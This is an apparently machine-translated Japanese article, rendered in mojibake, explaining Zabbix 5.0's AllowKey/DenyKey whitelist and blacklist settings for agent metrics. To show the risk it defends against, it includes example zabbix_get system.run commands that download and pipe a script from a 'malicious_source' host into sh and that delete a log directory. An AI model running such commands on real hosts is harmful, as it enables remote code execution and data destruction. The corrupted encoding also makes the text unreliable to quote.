ãšãŒãžã§ã³ãåŽã¡ããªã¯ã¹ã®ãã©ãã¯ãªã¹ããšãã¯ã€ããªã¹ãã®ãµããŒã
ãã£ãã³ã»ãŠã¹ã³ããçµ±åãšã³ãžãã¢ãZabbix
ããŒã¿ã»ãã¥ãªãã£ã®åé¡
Zabbix 5.0 ã«ã¯ãZabbix ãšãŒãžã§ã³ãã䜿çšããŠã·ã¹ãã ã®ã»ãã¥ãªãã£ãåäžãããæ°æ©èœããããå€ããã©ã¡ãŒã¿ã眮ãæããŸãã ãªã¢ãŒãã³ãã³ããæå¹ã«ãã.
ãšãŒãžã§ã³ãããŒã¹ã®ã·ã¹ãã ã®ã»ãã¥ãªãã£ã®åäžã¯ããšãŒãžã§ã³ããæœåšçã«å±éºãªã¢ã¯ã·ã§ã³ãå€æ°å®è¡ã§ãããšããäºå®ããçãŸããŠããŸãã
- ãšãŒãžã§ã³ãã¯ãæ§æãã¡ã€ã«ããã° ãã¡ã€ã«ããã¹ã¯ãŒã ãã¡ã€ã«ããŸãã¯ãã®ä»ã®ãã¡ã€ã«ãããæ©å¯æ å ±ãæœåšçã«å±éºãªæ å ±ãå«ãã»ãŒãã¹ãŠã®æ å ±ãåéã§ããŸãã
ããšãã°ãzabbix_get ãŠãŒãã£ãªãã£ã䜿çšãããšããŠãŒã¶ãŒã®ãªã¹ãããŠãŒã¶ãŒã®ããŒã ãã£ã¬ã¯ããªããã¹ã¯ãŒã ãã¡ã€ã«ãªã©ã«ã¢ã¯ã»ã¹ã§ããŸãã
zabbix_get ãŠãŒãã£ãªãã£ã䜿çšããããŒã¿ãžã®ã¢ã¯ã»ã¹
NOTE. ããŒã¿ã¯ããšãŒãžã§ã³ãã察å¿ãããã¡ã€ã«ã«å¯Ÿããèªã¿åãæš©éãæã£ãŠããå Žåã«ã®ã¿ååŸã§ããŸãã. ããããããšãã°ããã¡ã€ã« /etc/passwd/ ãã¹ãŠã®ãŠãŒã¶ãŒãèªãããšãã§ããŸãã
- ãšãŒãžã§ã³ãã¯ãæœåšçã«å±éºãªã³ãã³ããå®è¡ããããšãã§ããŸãã ããšãã°ãã㌠*ã·ã¹ãã .run[]** ã䜿çšãããšããããã¯ãŒã¯ ããŒãäžã§ä»»æã®ãªã¢ãŒã ã³ãã³ããå®è¡ã§ããŸããããã«ã¯ããšãŒãžã§ã³ãåŽã§ãã³ãã³ããå®è¡ãã Zabbix Web ã€ã³ã¿ãŒãã§ã€ã¹ããã®ã¹ã¯ãªããã®å®è¡ãå«ãŸããŸãã
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
- Linux ã§ã¯ããšãŒãžã§ã³ãã¯ããã©ã«ã㧠root æš©éãªãã§å®è¡ãããŸãããWindows ã§ã¯ã·ã¹ãã ãšããŠãµãŒãã¹ãšããŠå®è¡ããããã¡ã€ã« ã·ã¹ãã ã«ç¡å¶éã«ã¢ã¯ã»ã¹ã§ããŸãã ãããã£ãŠãã€ã³ã¹ããŒã«åŸã« Zabbix ãšãŒãžã§ã³ãã®ãã©ã¡ãŒã¿ã«å€æŽãå ããããªãå ŽåããšãŒãžã§ã³ãã¯ã¬ãžã¹ããªããã¡ã€ã« ã·ã¹ãã ã«ã¢ã¯ã»ã¹ã§ããWMI ã¯ãšãªãå®è¡ã§ããŸãã
以åã®ããŒãžã§ã³ã§ã¯ããã©ã¡ãŒã¿ EnableRemoteCommands=0 ã㌠* ã䜿çšããŠã¡ããªã¯ã¹ãç¡å¹ã«ããããšã®ã¿ãèš±å¯ãããŸãã·ã¹ãã .run[]** ã䜿çšã㊠Web ã€ã³ã¿ãŒãã§ã€ã¹ããã¹ã¯ãªãããå®è¡ã§ããŸããããåã ã®ãã¡ã€ã«ãžã®ã¢ã¯ã»ã¹ãå¶éãããããšãŒãžã§ã³ããšãšãã«ã€ã³ã¹ããŒã«ãããåã ã®ããŒãèš±å¯ãŸãã¯ç¡å¹ã«ããããåã ã®ãã©ã¡ãŒã¿ãŒã®äœ¿çšãå¶éãããããæ¹æ³ã¯ãããŸããã§ããã
Zabbix ã®ä»¥åã®ããŒãžã§ã³ã§ã® EnableRemoteCommand ãã©ã¡ãŒã¿ã®äœ¿çš
èš±å¯ããŒ/æåŠããŒ
Zabbix 5.0 ã¯ããšãŒãžã§ã³ãåŽã§ã¡ããªã¯ã¹ãèš±å¯ããã³æåŠããããã®ãã¯ã€ããªã¹ããšãã©ãã¯ãªã¹ããæäŸããããšã§ããã®ãããªäžæ£ã¢ã¯ã»ã¹ããã®ä¿è·ã«åœ¹ç«ã¡ãŸãã
Zabbix 5.0 ã§ã¯ã* ãå«ããã¹ãŠã®ããŒã·ã¹ãã .run[]** ãæå¹ã«ãªããXNUMX ã€ã®æ°ãããšãŒãžã§ã³ãæ§æãªãã·ã§ã³ãè¿œå ãããŸããã
èš±å¯ããŒ= â èš±å¯ãããå°åæ;
æåŠããŒ= â çŠæ¢ãããå°åæ;
ããã§ã ã¯ã¡ã¿ãã£ã©ã¯ã¿ (*) ã䜿çšãããã©ã¡ãŒã¿ãå«ãããŒåãã¿ãŒã³ã§ãã
AllowKey ããŒãš DenyKey ããŒã䜿çšãããšãç¹å®ã®ãã¿ãŒã³ã«åºã¥ããŠåã ã®ã¡ããªã¯ã¹ãèš±å¯ãŸãã¯æåŠã§ããŸãã ä»ã®æ§æãã©ã¡ãŒã¿ãšã¯ç°ãªããAllowKey/DenyKey ãã©ã¡ãŒã¿ã®æ°ã¯å¶éãããŸããã ããã«ããããã§ãã¯ã®ããªãŒ (å®è¡å¯èœããŒ) ãäœæããããšã§ãã·ã¹ãã å ã§ãšãŒãžã§ã³ããæ£ç¢ºã«äœãå®è¡ã§ããããæ確ã«å®çŸ©ã§ããŸããå®è¡å¯èœããŒã§ã¯ãããŒãæžã蟌ãŸããé åºãéåžžã«éèŠãªåœ¹å²ãæãããŸãã
ã«ãŒã«ã®é åº
ã«ãŒã«ã¯ãæ§æãã¡ã€ã«ã«å ¥åãããé åºã§ãã§ãã¯ãããŸãã ããŒã¯æåã«äžèŽããåã«ã«ãŒã«ã«åŸã£ãŠãã§ãã¯ãããããŒã¿èŠçŽ ã®ããŒããã¿ãŒã³ãšäžèŽãããšããã«èš±å¯ãŸãã¯æåŠãããŸãã ãã®åŸãã«ãŒã«ã®ãã§ãã¯ã¯åæ¢ããæ®ãã®ããŒã¯ç¡èŠãããŸãã
ãããã£ãŠãèŠçŽ ãèš±å¯ã«ãŒã«ãšæåŠã«ãŒã«ã®äž¡æ¹ã«äžèŽããå Žåãçµæã¯æ§æãã¡ã€ã«å ã§ã©ã¡ãã®ã«ãŒã«ãæåã«ãããã«ãã£ãŠç°ãªããŸãã
åããã¿ãŒã³ãšããŒãæ〠2 ã€ã®ç°ãªãã«ãŒã« vfs.file.size[/tmp/file]
AllowKey/DenyKey ããŒã䜿çšããé åºã¯æ¬¡ã®ãšããã§ãã
- æ£ç¢ºãªã«ãŒã«ã
- äžè¬çãªã«ãŒã«ã
- çŠæ¢çãªã«ãŒã«ã
ããšãã°ãç¹å®ã®ãã©ã«ããŒå ã®ãã¡ã€ã«ã«ã¢ã¯ã»ã¹ããå¿ èŠãããå ŽåããŸããã®ãã¡ã€ã«ãžã®ã¢ã¯ã»ã¹ãèš±å¯ãã次ã«ã確ç«ãããã¢ã¯ã»ã¹èš±å¯ã®ç¯å²å ã«ãªããã®ä»ãã¹ãŠã®ãã¡ã€ã«ãæåŠããå¿ èŠããããŸãã æåã«æåŠã«ãŒã«ã䜿çšããããšããã©ã«ããŒãžã®ã¢ã¯ã»ã¹ã¯æåŠãããŸãã
æ£ããé åº
2 ã€ã®ãŠãŒãã£ãªãã£ã®å®è¡ã * çµç±ã§èš±å¯ããå¿ èŠãããå Žåã·ã¹ãã .run[]** ã§ãããæåŠã«ãŒã«ãæåã«æå®ããããšãæåã®ãã¿ãŒã³ã¯åžžã«ä»»æã®ããŒã«äžèŽããåŸç¶ã®ã«ãŒã«ã¯ç¡èŠãããããããŠãŒãã£ãªãã£ã¯èµ·åãããŸããã
ééã£ãé åº
ãã¿ãŒã³
åºæ¬çãªã«ãŒã«
ãã¿ãŒã³ã¯ã¯ã€ã«ãã«ãŒãã䜿çšããåŒã§ãã ã¡ã¿ãã£ã©ã¯ã¿ãŒ (*) ã¯ãç¹å®ã®äœçœ®ã«ããä»»æã®æ°ã®ä»»æã®æåãšäžèŽããŸãã ã¡ã¿ãã£ã©ã¯ã¿ãŒã¯ããŒåãšãã©ã¡ãŒã¿ã®äž¡æ¹ã§äœ¿çšã§ããŸãã ããšãã°ãæåã®ãã©ã¡ãŒã¿ãããã¹ãã§å³å¯ã«å®çŸ©ã§ããŸãã åŸç¶ã®ãã®ãã¯ã€ã«ãã«ãŒããšããŠæå®ããŸã.
ãã©ã¡ãŒã¿ã¯è§æ¬åŒ§ [] ã§å²ãå¿ èŠããããŸãã
system.run[*
- æ£ãããªãvfs.file*.txt]
- æ£ãããªãvfs.file.*[*]
- å³
ã¯ã€ã«ãã«ãŒãã®äœ¿çšäŸã
- ããŒåãšãã©ã¡ãŒã¿ã§ã ãã®å Žåããã¿ãŒã³ã§ã¯ããŒåã®ç¹å®ã®æ«å°Ÿãšãã©ã¡ãŒã¿ã®ç¹å®ã®ã»ãããåãåãããããšã瀺ããŠãããããããŒã¯ãã©ã¡ãŒã¿ãå«ãŸãªãåæ§ã®ããŒã«ã¯å¯Ÿå¿ããŸããã
- ãã¿ãŒã³ã§è§æ¬åŒ§ã䜿çšãããŠããªãå Žåããã¿ãŒã³ã¯ãã©ã¡ãŒã¿ãå«ãŸãªããã¹ãŠã®ããŒãèš±å¯ããæå®ããããã©ã¡ãŒã¿ãå«ããã¹ãŠã®ããŒãæåŠããŸãã
- ããŒãå®å šã«èšè¿°ããããã©ã¡ãŒã¿ãã¯ã€ã«ãã«ãŒããšããŠæå®ãããŠããå Žåãä»»æã®ãã©ã¡ãŒã¿ãæã€é¡äŒŒã®ããŒãšäžèŽããŸãããè§æ¬åŒ§ã®ãªãããŒãšã¯äžèŽããŸãããã€ãŸããèš±å¯ãŸãã¯æåŠãããŸãã
ãã©ã¡ãŒã¿ãå ¥åããããã®ã«ãŒã«ã
- ãã©ã¡ãŒã¿ä»ãã®ããŒã䜿çšããå Žåã¯ãèšå®ãã¡ã€ã«ã§ãã©ã¡ãŒã¿ãæå®ããå¿ èŠããããŸãã ãã©ã¡ãŒã¿ã¯ã¡ã¿ãã£ã©ã¯ã¿ãŒãšããŠæå®ããå¿ èŠããããŸãã ãã¡ã€ã«ãžã®ã¢ã¯ã»ã¹ãæ éã«æåŠãããã©ã¡ãŒã¿ãŒã®æç¡ã«ããããããããŸããŸãªã¹ãã«ã®äžã§ã¡ããªãã¯ãã©ã®ãããªæ å ±ãæäŸã§ããããèæ ®ããå¿ èŠããããŸãã
ãã©ã¡ãŒã¿ã䜿çšããŠããŒãèšè¿°ããæ©èœ
- ããŒããã©ã¡ãŒã¿ãŒä»ãã§æå®ãããŠãããããã©ã¡ãŒã¿ãŒããªãã·ã§ã³ã§ã¡ã¿ãã£ã©ã¯ã¿ãŒãšããŠæå®ãããŠããå Žåããã©ã¡ãŒã¿ãŒã®ãªãããŒã解決ãããŸãã ããšãã°ãCPU ã®è² è·ã«é¢ããæ å ±ã®åä¿¡ãç¡å¹ã«ããsystem.cpu.load[*] ããŒãç¡å¹ã«ããããã«æå®ããå Žåã¯ããã©ã¡ãŒã¿ãŒã®ãªãããŒã¯å¹³åè² è·å€ãè¿ãããšãå¿ããªãã§ãã ããã
ãã©ã¡ãŒã¿ã®å ¥åã«ãŒã«
ããŒã
調æŽ
- æ€åºã«ãŒã«ããšãŒãžã§ã³ãèªåç»é²ã«ãŒã«ãªã©ãäžéšã®ã«ãŒã«ã¯ãŠãŒã¶ãŒãå€æŽã§ããŸããã AllowKey/DenyKey ã«ãŒã«ã¯ã次ã®ãã©ã¡ãŒã¿ã«ã¯åœ±é¿ããŸããã
- ãã¹ãåé ç®
- ãã¹ãã¡ã¿ããŒã¿é ç®
- HostInterfaceItem
NOTE. 管çè ãããŒãç¡å¹ã«ããå Žåãã¯ãšãªãå®è¡ããŠããZabbix ã¯ã¡ããªã¯ã¹ãŸãã¯ããŒãããã«ããŽãªã«åé¡ãããçç±ã«é¢ããæ å ±ãæäŸããŸããããµããŒããããŠããŸãã'ã ãªã¢ãŒãã³ãã³ãã®å®è¡çŠæ¢æ å ±ããšãŒãžã§ã³ããã°ãã¡ã€ã«ã«ã¯è¡šç€ºãããŸããã ããã¯ã»ãã¥ãªãã£äžã®çç±ããã§ãããäœããã®çç±ã§ã¡ããªã¯ã¹ããµããŒããããŠããªãã«ããŽãªã«åé¡ãããå Žåããããã°ãè€éã«ãªãå¯èœæ§ããããŸãã.
- å€éšæ§æãã¡ã€ã«ãæ¥ç¶ããéã®ç¹å®ã®é åº (ããšãã°ãã¢ã«ãã¡ãããé ) ã«äŸåããªãã§ãã ããã
ã³ãã³ã ã©ã€ã³ ãŠãŒãã£ãªãã£
ã«ãŒã«ãèšå®ããåŸããã¹ãŠãæ£ããæ§æãããŠããããšã確èªããå¿ èŠããããŸãã
次㮠XNUMX ã€ã®ãªãã·ã§ã³ã®ããããã䜿çšã§ããŸãã
- Zabbix ã«ã¡ããªã¯ã¹ãè¿œå ããŸãã
- ã§ãã¹ãããŸã zabbix_agentdã Zabbix ãšãŒãžã§ã³ã (ãªãã·ã§ã³ãã) -å°å· (-p) ã¯ãèšå®ã§èš±å¯ãããŠããªãããŒãé€ããã¹ãŠã®ã㌠(ããã©ã«ãã§èš±å¯ãããŠãã) ã瀺ããŠããŸãã ãããŠãªãã·ã§ã³ã§ -ãã¹ã (-t) çŠæ¢ãããããŒã®å Žå㯠' ãè¿ãããŸããµããŒããããŠããªãã¢ã€ãã ããŒã§ã'ã
- ã§ãã¹ãããŸã zabbix_getã ãŠãŒãã£ãªã㣠zabbix_get ãªãã·ã§ã³ãã -k æ»ããŸã 'ZBX_NOTSUPPORTED: äžæãªã¡ããªãã¯'ã
èš±å¯ãŸãã¯æåŠ
ãã¡ã€ã«ãžã®ã¢ã¯ã»ã¹ãæåŠããããšãã°ãŠãŒãã£ãªãã£ã䜿çšããŠæ€èšŒã§ããŸãã zabbix_getãã¡ã€ã«ãžã®ã¢ã¯ã»ã¹ãæåŠãããããšãæå³ããŸãã
**
NOTE. ãã©ã¡ãŒã¿å ã®åŒçšç¬Šã¯ç¡èŠãããŸã.
ãã®å Žåãå¥ã®ãã¹ãä»ããŠãã®ãããªãã¡ã€ã«ãžã®ã¢ã¯ã»ã¹ãèš±å¯ã§ããŸãã ããšãã°ãã·ã³ããªãã¯ãªã³ã¯ãããªã³ã¯ãããŠããå Žåã§ãã
æå®ãããã«ãŒã«ãé©çšããããã®ããŸããŸãªãªãã·ã§ã³ã確èªããçŠæ¢äºé ãåé¿ããå¯èœæ§ãèæ ®ããããšããå§ãããŸãã
åç
質åã ã«ãŒã«ãèš±å¯ãçŠæ¢ãèšè¿°ããããã«ãç¬èªã®èšèªãæã€ãã®ãããªè€éãªãã¿ãŒã³ãéžã°ããã®ã¯ãªãã§ãããã? ããšãã°ãZabbix ã§äœ¿çšãããæ£èŠè¡šçŸã䜿çšã§ããªãã£ãã®ã¯ãªãã§ãã?
çã. éåžžããšãŒãžã§ã³ã㯠XNUMX ã€ã ãã§ãããèšå€§ãªæ°ã®ã¡ããªã¯ã¹ããã§ãã¯ãããããããã¯æ£èŠè¡šçŸã®ããã©ãŒãã³ã¹ã®åé¡ã§ãã Regex ã¯éåžžã«éãæäœãªã®ã§ããã®æ¹æ³ã§äœåãã®ã¡ããªã¯ã¹ããã§ãã¯ããããšã¯ã§ããŸããã ã¯ã€ã«ãã«ãŒã - æ®éçã§åºã䜿çšãããŠããã·ã³ãã«ãªãœãªã¥ãŒã·ã§ã³.
質åã ã€ã³ã¯ã«ãŒããã¡ã€ã«ã¯ã¢ã«ãã¡ãããé ã«ã€ã³ã¯ã«ãŒããããŠããŸããã?
çã. ç§ã®ç¥ãéããã«ãŒã«ãè€æ°ã®ãã¡ã€ã«ã«åæ£ããå Žåã«ã«ãŒã«ãé©çšãããé åºãäºæž¬ããããšã¯äºå®äžäžå¯èœã§ãã ãã¹ãŠã®AllowKey/DenyKeyã«ãŒã«ãXNUMXã€ã®ã€ã³ã¯ã«ãŒããã¡ã€ã«ã«åéããããšããå§ãããŸãããããã®ã«ãŒã«ã¯çžäºã«äœçšããããããã®ãã¡ã€ã«ãã€ã³ã¯ã«ãŒãããå¿ èŠããããŸãã.
質åã Zabbix 5.0 ã§ã¯ããªãã·ã§ã³ãEnableRemoteCommands=' ãæ§æãã¡ã€ã«ã«æ¬ èœããŠãããAllowKey/DenyKey ã®ã¿ã䜿çšå¯èœã§ãã?
çãã ã¯ããããã§ã.
ããããšãããããŸããïŒ
åºæïŒ habr.com